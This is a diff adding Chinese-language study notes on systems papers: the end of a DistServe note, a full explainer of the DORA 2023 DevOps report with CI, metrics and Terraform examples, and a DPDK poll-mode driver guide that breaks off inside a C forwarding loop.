+真实 DistServe 还会在此之上做：**实例复制数、TP/PP 配置搜索、KV 传输批量化与流水线重叠**。
+
+---
+
+## 实践案例
+
+### 案例 1：实时聊天（重 TTFT）
+
+用户发一句 200 token 的问题，期望 **<300ms** 看到第一个字；后续 token 只要 **<50ms** 间隔即可。
+
+- Colocated：高峰时 prefill 与大量 decode 混批 → **TTFT P90 爆表**。
+- DistServe：prefill 专用 GPU + 小 batch + 可选 TP → TTFT 稳定；decode 池按 1:N 承接 KV。
+
+### 案例 2：长文摘要（重 TPOT）
+
+输入 4k token，输出 512 token。Prefill 本身就很重，但用户更在意**整段生成速度**。
+
+- 分离后 decode 池可用 **更大 batch** 换吞吐，只要 TPOT 仍低于阅读速度。
+- Prefill 侧避免无谓 multi-request batching（长序列已吃满 GPU）。
+
+### 案例 3：与后续工作的关系
+
+| 工作 | 与 DistServe 的关系 |
+|------|---------------------|
+| **vLLM + PagedAttention** | 解决 KV **怎么存**；DistServe 解决 prefill/decode **怎么摆** |
+| **Mooncake (2024)** | 把 KV 当**分布式对象**调度；可视为 PD 分离 + 全局 KV 池 |
+| **Nexus (2025)** | **单 GPU 内** SM 分区做 PD，避免双份权重；与 DistServe **跨 GPU** 路线互补 |
+| **Chunked Prefill** | Colocated 上的缓解术；DistServe 主张**彻底拆开** |
+
+---
+
+## 局限与代价
+
+1. **双份（或多份）模型权重**：prefill 与 decode 实例各持完整副本 → **显存/内存成本上升**；适合「SLO 紧、GPU 贵」的生产场景，而非极简 demo。
+2. **跨机 KV 传输**：在弱网络或跨地域部署时，分离收益可能被通信吃掉；需要 DistServe 的**带宽感知放置**，或 Mooncake 类 KV 层。
+3. **调度复杂度**：要维护两套队列、实例比例、并行配置；运维与自动扩缩容比单体 vLLM 更难。
+4. **短 prompt / 低 QPS**：干扰不明显时，分离的固定成本可能不划算。
+
+---
+
+## 自测题
+
+1. **TTFT** 和 **TPOT** 分别对应推理的哪个阶段？各对应什么典型硬件瓶颈？
+2. 为什么「最大化 tokens/s」不等于「最大化 Goodput」？
+3. 画一张图说明 colocated batching 如何同时恶化 TTFT 和 TPOT。
+4. 论文中 prefill 实例为何倾向 **小 batch + intra-op 并行**？
+5. 若 2 个 prefill GPU 配 1 个 decode GPU，decode 侧 idle 较多，说明什么？应如何调比例？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. TTFT → Prefill，常 compute-bound；TPOT → Decode，常 memory-bandwidth-bound。
+2. Throughput 可牺牲尾部延迟换峰值 token 率；Goodput 要求在 SLO 达成率（如 90%）内能达到的最大请求率，直接关联成本与用户体验。
+3. 同一迭代中 prefill kernel 长、decode 短，decode 等 prefill；prefill batch 里掺 decode 也增加执行时间与资源争用。
+4. 长 prompt 单请求即可吃满 GPU；加 batch 只拉长批处理时间。intra-op 降单请求执行时间 D，按 M/D/1 显著降排队项。
+5. decode 为瓶颈或比例偏高；应增加 decode 实例、或减少 prefill 副本，使两阶段容量匹配目标流量。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2401.09670](https://arxiv.org/abs/2401.09670) / [USENIX OSDI 24](https://www.usenix.org/conference/osdi24/presentation/zhong-yinmin)
+- 代码：[LLMServe/DistServe](https://github.com/LLMServe/DistServe)
+- 前置：[PagedAttention 与 vLLM](./paged-attention-vllm.md)（KV 分页）
+- 对照：[Nexus — 单 GPU 内 PD 分离](./nexus-prefill-decode-intra-gpu.md)
+- 扩展：[Mooncake — 以 KV 为中心的分层缓存](./mooncake-kvcache-2024.md)
+
+---
+
+## 一句话小结
+
+**DistServe 把 LLM 服务从「一口锅炒到底」改成「备餐部 + 出餐部」：用 Prefill/Decode 物理分离消灭相互干扰，再按 TTFT/TPOT 双 SLO 分别调 GPU 与并行策略，最大化每张卡的 Goodput——在延迟约束比吞吐更重要的时代，这是比单纯加大 batch 更划算的杠杆。**
diff --git a/src/content/docs/papers/dora-state-of-devops-2023.md b/src/content/docs/papers/dora-state-of-devops-2023.md
new file mode 100644
index 000000000..131d837b0
--- /dev/null
+++ b/src/content/docs/papers/dora-state-of-devops-2023.md
@@ -0,0 +1,342 @@
+---
+title: DORA State of DevOps Report 2023 — 用「餐厅经营」读懂软件交付科学
+来源: https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你经营一家**连锁餐厅**（这就是一家持续交付软件的公司）：
+
+- **后厨**是开发团队：不断研发新菜、改配方、换供应商。
+- **前厅**是运维/SRE：要保证每桌菜热、上菜快、不出食品安全事故。
+- **顾客**是最终用户：他们不在乎你用了什么烤箱，只在乎「点的菜对不对、好不好吃、等多久」。
+
+很多团队像只盯着后厨 KPI 的店长：今天出菜 200 份、换菜单 12 次、烤箱利用率 87%——数字很漂亮，但顾客抱怨「菜不对胃口」「等了一个小时」。**DORA 2023 报告的核心转向**就是：别只优化「出菜速度」，要问**顾客到底想吃什么**。
+
+《Accelerate State of DevOps Report 2023》由 Google 旗下的 **DORA**（DevOps Research and Assessment）发布，基于 **36,000+** 名全球从业者的九年纵向调查，是软件交付领域规模最大、历时最长的实证研究之一。2023 版不再只讲「四个指标」，而是把**组织文化、用户中心、技术能力、文档、云弹性、公平分工**连成一张因果网。
+
+## 这篇报告在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Accelerate State of DevOps Report 2023 |
+| 发布方 | DORA / Google Cloud |
+| PDF | [2023 报告全文](https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf) |
+| 官网 | [dora.dev/research/2023](https://dora.dev/research/2023/dora-report/) |
+| 数据规模 | 9 年、36,000+ 受访者 |
+| 2023 主题 | 文化奠基、用户中心、技术能力 × 文档放大、云要「弹性」而非「搬家」 |
+
+报告衡量三类**结果（outcomes）**：
+
+1. **组织绩效（Organizational performance）** — 为客户与社区创造价值，不止于营收。
+2. **团队绩效（Team performance）** — 团队能否通过创新与协作持续交付。
+3. **员工福祉（Employee well-being）** — 倦怠、满意度、安全感。
+
+以及两类**能力面（capabilities）**：
+
+- **软件交付绩效** — 安全、高效地变更技术系统。
+- **运营绩效** — 面向用户的可靠性、质量与体验。
+
+## 为什么值得读（零基础也能建立图景）
+
+如果你只听过「DevOps = 开发运维合并」，这份报告会给你**可量化的改进地图**：
+
+- 哪些做法真的关联更高绩效（不是博客里的玄学）。
+- 为什么 2023 年**用户中心**压过「功能工厂」思维。
+- 为什么「上了云」不等于「变快了」——**基础设施弹性**才是关键。
+- 为什么**文档**像阳光：有它时，CI、主干开发、SRE 实践的效力会成倍放大。
+
+它和 [[chaos-engineering-netflix-2016]]（生产环境受控实验）、[[spanner]]（多副本一致性）、平台工程内部开发者体验等话题同属「大规模软件如何可靠交付」谱系；DORA 更偏**组织与流程的统计学证据**，而非单点技术方案。
+
+## 核心概念
+
+### 1. DORA 四个核心指标（仍有效，但 2023 更强调「为什么快」）
+
+软件交付领域最常用的四个度量，像餐厅的**运营仪表盘**：
+
+| 指标 | 英文 | 直觉含义 | 餐厅类比 |
+|------|------|----------|----------|
+| 部署频率 | Deployment frequency | 多久向生产交付一次变更 | 新菜/调价多久上一次桌 |
+| 变更前置时间 | Lead time for changes | 从提交到上线的耗时 | 从定菜谱到顾客能点到 |
+| 变更失败率 | Change failure rate | 部署导致生产故障的比例 | 新菜退菜/投诉比例 |
+| 恢复时间 | Time to restore service | 事故后恢复服务的时间 | 停炉后多久恢复供餐 |
+
+DORA 把团队分为 **Elite / High / Medium / Low** 四档（每年门槛在变——九年前的高绩效今天可能只是及格线）。**重点**：指标是学习的起点，不是 KPI 鞭子；报告反复强调 **continuous improvement（持续改进）** 文化。
+
+### 2. Westrum 组织文化（文化的可测量模型）
+
+Ron Westrum 将组织文化分为三类，DORA 用问卷把文化「算出来」：
+
+| 类型 | 特征 | 与绩效关系 |
+|------|------|------------|
+| **Pathological（病态）** | 信息 hoarding、部门墙、责备文化 | 技术能力难以落地 |
+| **Bureaucratic（官僚）** | 规则优先、层级审批、慢决策 | 中等 |
+| **Generative（生成式）** | 信任、协作、失败可讨论、使命共享 | **组织绩效高约 30%** |
+
+生成式文化像餐厅里**前厅后厨同桌开晨会**：昨天哪道菜退得多，一起查是配方、火候还是点单系统问题，而不是互相甩锅。
+
+### 3. 2023 团队特质分类（Trait-based archetypes）
+
+报告用数据把团队聚成四类「气质」，便于对照自省：
+
+- **User-centric（用户中心）** — 理解用户需求、收集反馈、用体验指标驱动优先级。
+- **Feature-driven（功能驱动）** — 以产出功能数量、路线图打卡为主。
+- **Developing（发展中）** — 能力尚在建设，交付与运营都不突出。
+- **Balanced（均衡）** — 交付、运营、用户关注较平衡。
+
+**用户中心团队**组织绩效平均高约 **40%**，工作满意度高约 **20%**。报告结论：光快不够，要快在**对的地方**。
+
+### 4. 技术能力 × 文档的「放大效应」
+
+2023 年最「反直觉」的发现之一：**高质量文档**让技术实践更有效。
+
+- 有高质量文档时，**SRE 实践**对组织绩效的估计影响约为无文档时的 **1.4 倍**。
+- **主干开发（trunk-based development）** + 高质量文档，对组织绩效的影响可达 **12.8 倍**（相对低文档场景）。
+- 文档本身关联约 **25%** 更高的团队绩效。
+
+比喻：CI/CD 是引擎，文档是**润滑剂和线路图**——没有手册，引擎转得再快也会装错零件。
+
+### 5. 云与「基础设施弹性」（Infrastructure flexibility）
+
+- 使用**公有云**与约 **22%** 更高的基础设施弹性相关。
+- **弹性基础设施**与约 **30%** 更高的组织绩效相关。
+- 单纯 **lift-and-shift（把机房搬到云上不改架构）** 可能有害：你保留了数据中心的流程枷锁，却失去了熟悉环境的运维直觉。
+
+弹性意味着：按需扩缩、托管服务、基础设施即代码、多区域、无状态设计——**用云的原生能力**，不是给旧服务器换地址。
+
+### 6. 快速代码评审（Fast code reviews）
+
+代码评审速度是 2023 年软件交付绩效的强预测因子：**更快评审**关联约 **50%** 更高的软件交付绩效。慢评审像后厨每道菜都要店长签字——质量可能略好，但前置时间和团队流动性的代价巨大。
+
+### 7. 公平分工与倦怠
+
+- **公平分配工作**可降低倦怠，但对自认「代表性不足群体」倦怠改善不显著。
+- 代表性不足群体更常承担**重复性、低可见度**任务，倦怠更高。
+- **工作安全感**与约 **61%** 的倦怠下降相关。
+
+### 8. AI 开发工具（2023 年的早期信号）
+
+超过半数受访者已在部分技术任务中使用 AI，对**员工福祉**有温和正向影响，但对交付绩效的预测力在 2023 年仍**弱于**文化、用户中心、文档等成熟能力。报告态度：有热情，但**广泛改变交付方式尚需时间**——这与「AI 主要加速写代码，而交付瓶颈常在协作、需求、评审」的观察一致。
+
+## 代码示例一：用 GitHub Actions 实践持续集成（CI）
+
+DORA 将 **continuous integration** 列为关键技术能力：每次提交都触发自动化构建与测试，尽早发现集成问题。
+
+```yaml
+# .github/workflows/dora-ci.yml
+# 对应 DORA 能力：Continuous integration + Trunk-based development
+name: DORA-style CI
+
+on:
+  push:
+    branches: [main]          # 主干开发：变更频繁合入 main
+  pull_request:
+    branches: [main]
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true    # 新提交取消旧流水线，缩短反馈环
+
+jobs:
+  verify:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Install & test
+        run: |
+          npm ci
+          npm run lint
+          npm test -- --coverage
+
+      - name: Build artifact
+        run: npm run build
+
+      # 快速反馈 ≈ DORA「变更前置时间」的前半段
+      - name: Publish test summary
+        if: always()
+        run: |
+          echo "## CI finished at $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> $GITHUB_STEP_SUMMARY
+          echo "Deployment frequency improves when main is always green." >> $GITHUB_STEP_SUMMARY
+```
+
+这段流水线体现：**小批量、高频次、自动化验证**——精英团队往往每天多次部署，因为单次变更小、验证快、回滚容易。
+
+## 代码示例二：从部署日志估算 DORA 四指标
+
+下面用 TypeScript 演示如何从**部署事件表**粗算四个核心指标（教学用简化版；生产应接 CD 系统、事故工单、变更关联）：
+
+```typescript
+// scripts/dora-metrics.ts — 从部署/事故事件估算 DORA 四指标
+type DeployEvent = {
+  deployedAt: Date;
+  leadTimeHours: number;   // commit → prod
+  failed: boolean;         // 是否触发回滚/热修
+};
+
+type Incident = {
+  startedAt: Date;
+  restoredAt: Date;
+};
+
+function deploymentFrequency(deploys: DeployEvent[], windowDays = 30): string {
+  const count = deploys.length;
+  const perDay = count / windowDays;
+  if (perDay >= 1) return `Elite-ish: ${perDay.toFixed(1)} deploys/day`;
+  if (perDay >= 1 / 7) return `High: ${(perDay * 7).toFixed(1)} deploys/week`;
+  if (perDay >= 1 / 30) return `Medium: ${(perDay * 30).toFixed(1)} deploys/month`;
+  return `Low: ${(perDay * 365).toFixed(0)} deploys/year`;
+}
+
+function medianLeadTimeHours(deploys: DeployEvent[]): number {
+  const sorted = [...deploys].map((d) => d.leadTimeHours).sort((a, b) => a - b);
+  const mid = Math.floor(sorted.length / 2);
+  return sorted.length % 2 ? sorted[mid] : (sorted[mid - 1] + sorted[mid]) / 2;
+}
+
+function changeFailureRate(deploys: DeployEvent[]): number {
+  if (!deploys.length) return 0;
+  return deploys.filter((d) => d.failed).length / deploys.length;
+}
+
+function medianTimeToRestore(incidents: Incident[]): number {
+  const hours = incidents.map(
+    (i) => (i.restoredAt.getTime() - i.startedAt.getTime()) / 3_600_000
+  );
+  hours.sort((a, b) => a - b);
+  const mid = Math.floor(hours.length / 2);
+  return hours.length % 2 ? hours[mid] : (hours[mid - 1] + hours[mid]) / 2;
+}
+
+// 示例数据
+const deploys: DeployEvent[] = [
+  { deployedAt: new Date(), leadTimeHours: 4, failed: false },
+  { deployedAt: new Date(), leadTimeHours: 2, failed: false },
+  { deployedAt: new Date(), leadTimeHours: 24, failed: true },
+];
+
+console.log(deploymentFrequency(deploys));
+console.log("Median lead time (h):", medianLeadTimeHours(deploys));
+console.log("Change failure rate:", (changeFailureRate(deploys) * 100).toFixed(1) + "%");
+```
+
+**读数方式**：先建立基线，再对照 DORA 年度基准；更重要的是看趋势和**与业务结果的关联**——用户满意度、收入、任务完成率是否随交付改进而上升。2023 报告建议把 **CSAT、任务完成率、HEART 框架指标** 与四个交付指标并排放仪表盘，避免「忘了顾客」。
+
+## 代码示例三（补充）：基础设施弹性 — Terraform 片段
+
+弹性基础设施常用 **IaC + 托管服务 + 自动扩缩** 表达：
+
+```hcl
+# infra/flexible-service.tf
+# DORA 2023: infrastructure flexibility（非 lift-and-shift）
+
+resource "google_cloud_run_v2_service" "api" {
+  name     = "user-api"
+  location = var.region
+
+  template {
+  scaling {
+      min_instance_count = 0    # 闲时缩到零，弹性计费
+      max_instance_count = 100
+    }
+    containers {
+      image = var.container_image
+      resources {
+        limits = {
+          cpu    = "2"
+          memory = "1Gi"
+        }
+      }
+    }
+  }
+}
+
+# 多区域 = 故障域分散，支撑「运营绩效」
+resource "google_cloud_run_v2_service" "api_dr" {
+  count    = var.enable_multi_region ? 1 : 0
+  name     = "user-api-dr"
+  location = var.dr_region
+  # ... 镜像与主区域一致，由 CI 同步部署
+}
+```
+
+这与「把 VM 原样搬进云」相反：利用 **Cloud Run / K8s HPA / 托管数据库** 等能力，让容量与故障恢复成为代码可版本化的一部分。
+
+## 2023 五大发现（速查）
+
+1. **文化是地基** — 生成式文化 → 组织绩效约 **+30%**；安全感强 → 倦怠约 **-61%**。
+2. **以用户为中心** — 组织绩效约 **+40%**，满意度约 **+20%**；同时改善「做对的事」和「把事做对」。
+3. **文档放大技术能力** — 团队绩效约 **+25%**；SRE、主干开发等实践在好文档下效力显著放大。
+4. **云要弹性** — 公有云提升弹性；弹性基础设施 → 组织绩效约 **+30%**；忌 lift-and-shift。
+5. **公平分工与快速评审** — 公平分工降倦怠；快速代码评审 → 软件交付绩效约 **+50%**。
+
+## 团队如何落地（零基础行动清单）
+
+### 第一步：照镜子，别只追 Elite 标签
+
+用 [DORA Quick Check](https://dora.dev/quickcheck/) 或内部问卷评估四指标与文化。把结果当作**体检报告**，不是排名榜。
+
+### 第二步：建立用户反馈闭环
+
+- 产品/工程同看：**任务完成率、CSAT、支持工单主题**。
+- 低延迟渠道：应用内反馈、每周用户访谈、发布说明下的「这解决你的问题吗？」。
+- 优先级会议先问：**「哪条用户证据支持我们做这个？」**
+
+### 第三步：投资「可发现的」文档
+
+- README：如何本地跑、如何部署、如何 oncall。
+- ADR（架构决策记录）：为什么选 A 不选 B。
+- Runbook：告警时第一步做什么。
+- 把文档质量纳入 PR 检查（见示例一 CI 可扩展 `docs/` 链接检查）。
+
+### 第四步：缩短评审与集成分支寿命
+
+- 小 PR（< 400 行）、24 小时内首次评审。
+- 主干开发 + 功能开关，减少长期 feature branch。
+- 与 [[chaos-engineering-netflix-2016]] 互补：快交付 + 生产实验验证韧性。
+
+### 第五步：检查云是否「真弹性」
+
+审计清单：能否自动扩缩？数据库是否托管？配置是否 IaC？多区域是否演练过？若答案多为否，可能仍在 lift-and-shift 舒适区。
+
+## 常见误区
+
+| 误区 | 报告怎么说 |
+|------|------------|
+| DevOps = 买一堆工具 | 文化与用户中心预测力常强于单点工具 |
+| 功能越多越好 | Feature-driven 不如 User-centric 关联组织绩效 |
+| 上云就更快 | 无弹性的云迁移可能更差 |
+| 文档以后补 | 文档是技术能力的「倍增器」，不是附录 |
+| 四个指标达标就毕业 | 持续改进；九年 Elite 门槛一直在升 |
+| AI 会自动解决交付 | 2023 年 AI 对绩效影响仍早期，先夯实文化与流程 |
+
+## 与其他知识的关系
+
+- **SRE / 错误预算** — 运营绩效侧；DORA 证明 SRE 在好文档下对组织绩效影响更大。
+- **平台工程** — 2023 报告首次更多提及；内部开发者也是「用户」，与 User-centric 一致。
+- **精益 / 精益创业** — Build-Measure-Learn 与 DORA 用户反馈环同构。
+- **团队拓扑** — Loosely coupled teams 与 DORA 技术能力一致；见相关组织设计读物。
+
+## 小结
+
+DORA 2023 用大规模调查说明：**软件交付卓越不是单一技巧，而是文化、用户理解、技术实践、文档与基础设施的共同产物**。像经营餐厅——后厨效率重要，但若从不听顾客，出菜再快也是在浪费食材。
+
+对你而言，读完不必背诵「40%」「12.8 倍」，而应带走三个问题：
+
+1. 我们上次根据**真实用户反馈**调整优先级是什么时候？
+2. 新人能否仅凭文档在一天内跑通构建、测试、部署？
+3. 我们的云是**弹性**的，还是**搬家**的？
+
+从其中一条开始实验，度量，再改进——这正是 DORA 所说的 **get better at getting better**。
+
+## 延伸阅读
+
+- [DORA 2023 报告 PDF](https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf)
+- [DORA Capabilities 目录](https://dora.dev/capabilities/)
+- [User-centric focus 能力页](https://dora.dev/capabilities/user-centric-focus/)
+- Nicole Forsgren, Jez Humble, Gene Kim — *Accelerate*（DORA 四指标原书）
+- Ron Westrum — 组织文化类型学（生成式文化理论基础）
diff --git a/src/content/docs/papers/dpdk-poll-mode-driver.md b/src/content/docs/papers/dpdk-poll-mode-driver.md
new file mode 100644
index 000000000..e172e6443
--- /dev/null
+++ b/src/content/docs/papers/dpdk-poll-mode-driver.md
@@ -0,0 +1,321 @@
+---
+title: Data Plane Development Kit (DPDK) Architecture — 用户态线速网络栈零基础导读
+来源: https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一家**超繁忙的快递分拣中心**：
+
+- **传统内核网络栈**像「电话通知制」：每来一车货，分拣员放下手头工作接电话、跑去门口接货、登记入库、再回来继续——**中断（interrupt）** 打断了流水线，而且登记处（内核协议栈）要经过多层审批，小包多时 CPU 全耗在「接电话」上。
+- **DPDK** 的做法是：在分拣中心门口派一个**专职盯传送带的人**（poll mode），**不接电话、不等人叫**，而是每隔几微秒抬头看一眼「皮带上有没有新包裹」——有就一把抓一批（burst），没有就继续看。为了不被操作系统打扰，这个人还**独占一个工位**（绑核）、用**超大号托盘**搬货（hugepage）、和隔壁工位用**无锁传送带**递包裹（lockless ring）。
+
+Intel 在 2014 年 SF Summit 的 briefing《High Performance Networking Leveraging DPDK》里概括了这套思路的起源：数据中心流量爆炸，**10G/40G 线速**要求每包 CPU 预算降到几十纳秒级，而传统「中断 + 内核拷贝 + 系统调用」的路径在百万 PPS 下根本撑不住。DPDK（Data Plane Development Kit）把**网卡驱动、内存管理、无锁队列**整套搬到**用户态**，用 **Poll Mode Driver（PMD）** 轮询收发包，成为 NFV、5G UPF、云网关、负载均衡器的工业标准底座。
+
+> 定位澄清：DPDK **不是**一个完整的 TCP/IP 协议栈，而是**数据面基础设施**——你仍然可以叠 F-Stack、VPP、OVS-DPDK 或自研 L3/L4 逻辑在它上面。
+
+## 为什么需要 DPDK
+
+### 内核网络栈的瓶颈
+
+| 问题 | 具体表现 |
+|------|----------|
+| 中断开销 | 高频小包下，CPU 时间耗在中断上下文切换，而非业务逻辑 |
+| 内核拷贝 | sk_buff 分配、协议栈层层拷贝，cache miss 严重 |
+| 锁竞争 | 多核共享 socket、qdisc、路由表，锁与 cache line 乒乓 |
+| 调度不确定性 | 线程被内核抢占，延迟尾（p99/p999）拉长 |
+| 每包 syscall | `read`/`send` 路径无法批量摊薄固定成本 |
+
+### DPDK 的取舍
+
+| 得到 | 付出 |
+|------|------|
+| 线速收发包（单核百万 PPS 级） | 需**独占 CPU 核心**做 poll，空载也占满一核 |
+| 用户态直接操作 DMA 描述符 | 绕过内核网络栈，**失去** socket API、iptables 等现成设施 |
+| 预分配内存池、零拷贝倾向 | 启动时吃满 hugepage，内存占用「看起来很大」 |
+| 可预测的微秒级延迟 | 应用要自己处理多核模型、NUMA、丢包策略 |
+
+Briefing 强调：DPDK 的目标不是替代 Linux，而是让**数据面**（forwarding、分类、封装）从**控制面**（路由协议、管理面 CLI）里拆出来——这与后来的 Arrakis、IX、VPP 控制/数据分离一脉相承。
+
+## 整体架构
+
+```text
+┌─────────────────────────────────────────────────────────────┐
+│                    你的应用 (l2fwd / VPP / OVS / 自研)         │
+├─────────────────────────────────────────────────────────────┤
+│  librte_ethdev (PMD API)  │  librte_mbuf  │  librte_ring     │
+│  librte_mempool           │  librte_hash  │  librte_lpm ...  │
+├─────────────────────────────────────────────────────────────┤
+│              EAL — Environment Abstraction Layer             │
+│   绑核 / hugepage / PCI 映射(UIO/VFIO) / 日志 / 定时器 / IPC   │
+├─────────────────────────────────────────────────────────────┤
+│   Poll Mode Drivers (ixgbe / i40e / mlx5 / virtio ...)       │
+├─────────────────────────────────────────────────────────────┤
+│        网卡硬件 (RX/TX rings, DMA, RSS, checksum offload)     │
+└─────────────────────────────────────────────────────────────┘
+         ▲ 绕过传统内核网络栈（数据面在用户态）
+         │ 控制面仍可走 Linux（配置 IP、路由、BGP…）
+```
+
+## 核心概念
+
+### 1. EAL — 环境抽象层
+
+EAL 是 DPDK 的「开机固件」。应用启动时第一个调用 `rte_eal_init()`，由它完成：
+
+- 解析命令行：`-l` 绑定逻辑核、`-n` 内存通道、`--socket-mem` 按 NUMA 预分配、`--huge-dir` 指定大页挂载点；
+- 通过 **VFIO/UIO** 把 PCIe 网卡 BAR 空间 **mmap** 进用户态；
+- 在 **hugetlbfs** 上分配物理连续、TLB 友好的内存；
+- 区分 **master lcore**（做全局初始化）与 **worker lcore**（跑数据面循环）。
+
+没有 EAL，后面的 mempool、PMD、ring 都无法在「裸金属式」环境里落地。
+
+### 2. PMD — Poll Mode Driver
+
+PMD 是 DPDK 的名片：**不用 RX 中断**（链路状态变化中断除外），由应用在循环里调用 `rte_eth_rx_burst()` / `rte_eth_tx_burst()` **批量**拉取或提交报文。
+
+关键设计原则（官方 PMD 架构文档与 2014 briefing 一致）：
+
+- **Burst-oriented**：一次处理 32/64 个包，摊薄函数调用与 PCIe 门铃开销；
+- **零拷贝倾向**：DMA 直接写入 `rte_mbuf` 数据区，驱动填好 descriptor 元数据；
+- **Per-queue 独占**：典型部署「一核一网卡队列」，避免跨核抢锁；
+- **硬件 offload**：RSS、checksum、TSO、VLAN strip 的结果写进 `rte_mbuf` 元数据字段。
+
+两种主流编程模型：
+
+| 模型 | 行为 | 适用 |
+|------|------|------|
+| **Run-to-completion** | 同一核上收包 → 处理 → 发包 | 简单转发、L2/L3 网关 |
+| **Pipeline** | RX 核把 `rte_mbuf` 指针经 `rte_ring` 扔给 worker 核 | 复杂处理、多阶段流水线 |
+
+### 3. rte_mempool 与 rte_mbuf
+
+**mempool** 是预分配的**对象池**（通常是 `rte_mbuf`），启动时一次性从 hugepage 切好，运行时 **O(1)** 借还，避免 `malloc` 与内核伙伴系统。
+
+**mbuf**（`struct rte_mbuf`）是 DPDK 的「快递单 + 包裹」：
+
+- **metadata**：包长、端口、RSS hash、VLAN、offload 标志、引用计数；
+- **data buffer**：实际帧字节，带 `RTE_PKTMBUF_HEADROOM` 便于封装头部；
+- **chaining**：大包可分多个 segment 链表；
+- **indirect mbuf**：克隆/广播时共享同一块数据区，避免复制。
+
+mbuf 从哪个 pool 分配，释放时就回哪个 pool——**无 GC**，路径确定性极高。
+
+### 4. rte_ring — 核间无锁 FIFO
+
+`rte_ring` 是实现 pipeline 的「传送带」：**多生产者 / 多消费者** 的无锁环形队列（基于 CAS 更新 head/tail）。相比内核 pipe 或 mutex 队列，它针对 **bulk enqueue/dequeue** 优化，且要求运行在 **DPDK 绑定的非抢占 lcore** 上（否则 preempt 会破坏无锁假设）。
+
+mempool 内部也用 ring 管理空闲对象；应用层则用它做 **producer → consumer** 报文传递。
+
+### 5. NUMA 与本地内存
+
+Briefing 与后续文档反复强调：**网卡、内存、处理核应在同一 NUMA node**。跨 node 访问远程内存会让 PCIe 吞吐白白损失。实践规则：
+
+- 在 `socket_id = rte_eth_dev_socket_id(port)` 对应的 node 上 `rte_pktmbuf_pool_create()`；
+- RX/TX descriptor ring 里的 mbuf 全部来自该本地 pool；
+- `rte_eth_dev_configure()` 的 `rx_queues` / `tx_queues` 与 lcore 一一绑定。
+
+### 6. Hugepage
+
+默认 4KiB 页：百万级 mbuf 会让 TLB **疯狂 miss**。DPDK 默认走 **2MB / 1GB hugepage**，把 TLB 压力降一个数量级。部署前通常需要：
+
+```bash
+# Linux 示例：预留 1024 个 2MB 大页（约 2GB）
+echo 1024 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
+sudo mkdir -p /mnt/huge
+sudo mount -t hugetlbfs nodev /mnt/huge
+```
+
+应用通过 EAL 参数 `--socket-mem=2048` 等在这些大页上建 mempool。
+
+## 代码示例一：最小 EAL 初始化 + 端口配置骨架
+
+下面片段展示典型 DPDK 应用的**启动序列**（改编自官方 `basicfwd` / `l2fwd` 样例结构，省略错误处理细节）：
+
+```c
+#include <rte_eal.h>
+#include <rte_ethdev.h>
+#include <rte_mbuf.h>
+
+#define RX_RING_SIZE 1024
+#define TX_RING_SIZE 1024
+#define NUM_MBUFS 8191
+#define MBUF_CACHE_SIZE 250
+#define BURST_SIZE 32
+
+static const struct rte_eth_conf port_conf_default = {
+    .rxmode = { .max_lro_pkt_len = RTE_ETHER_MAX_LEN },
+};
+
+int main(int argc, char **argv)
+{
+    struct rte_mempool *mbuf_pool;
+    uint16_t portid;
+
+    /* 1. EAL：绑核、hugepage、PCI 探测 */
+    int ret = rte_eal_init(argc, argv);
+    if (ret < 0)
+        rte_exit(EXIT_FAILURE, "EAL init failed\n");
+
+  argc -= ret;
+  argv += ret;
+
+    /* 2. 检查可用以太网端口 */
+    if (rte_eth_dev_count_avail() == 0)
+        rte_exit(EXIT_FAILURE, "No Ethernet ports\n");
+
+    /* 3. 在网卡所在 NUMA node 创建 mbuf 池 */
+    mbuf_pool = rte_pktmbuf_pool_create(
+        "MBUF_POOL", NUM_MBUFS, MBUF_CACHE_SIZE, 0,
+        RTE_MBUF_DEFAULT_BUF_SIZE, rte_socket_id());
+
+    /* 4. 配置每个端口：1 RXQ + 1 TXQ，挂接 mbuf pool */
+    RTE_ETH_FOREACH_DEV(portid) {
+        struct rte_eth_rxconf rxq_conf =
+            dev_info.default_rxconf;
+        struct rte_eth_txconf txq_conf =
+            dev_info.default_txconf;
+
+        ret = rte_eth_dev_configure(portid, 1, 1, &port_conf_default);
+        ret = rte_eth_rx_queue_setup(portid, 0, RX_RING_SIZE,
+            rte_eth_dev_socket_id(portid), &rxq_conf, mbuf_pool);
+        ret = rte_eth_tx_queue_setup(portid, 0, TX_RING_SIZE,
+            rte_eth_dev_socket_id(portid), &txq_conf);
+        ret = rte_eth_dev_start(portid);
+        rte_eth_promiscuous_enable(portid);
+    }
+
+    /* 5. 各 worker lcore 进入 lcore_launch 跑收发包循环 */
+    rte_eal_mp_remote_launch(lcore_main, NULL, CALL_MAIN);
+    rte_eal_mp_wait_lcore();
+    return 0;
+}
+```
+
+要点：**EAL init → mempool → eth_dev configure/queue setup → start → 绑核循环**。任何一步漏掉 NUMA 对齐，性能都会「看起来能跑、一压测就塌」。
+
+## 代码示例二：Run-to-completion 收发包循环
+
+这是 PMD **poll 模式**的心脏——没有 `select`，没有阻塞 `read`，只有持续的 **rx_burst → 处理 → tx_burst**：
+
+```c
+static int lcore_main(void *arg)
+{
+    const uint16_t portid = 0;   /* 简化：单端口 */
+    const uint16_t queueid = 0;
+    struct rte_mbuf *bufs[BURST_SIZE];
+    const uint16_t nb_ports = rte_eth_dev_count_avail();
+
+    printf("Core %u forwarding packets\n", rte_lcore_id());
+
+    for (;;) {
+        /* 轮询 RX：一次最多收 BURST_SIZE 个包 */
+        uint16_t nb_rx = rte_eth_rx_burst(portid, queueid,
+                                          bufs, BURST_SIZE);
+        if (unlikely(nb_rx == 0))
+            continue;
+
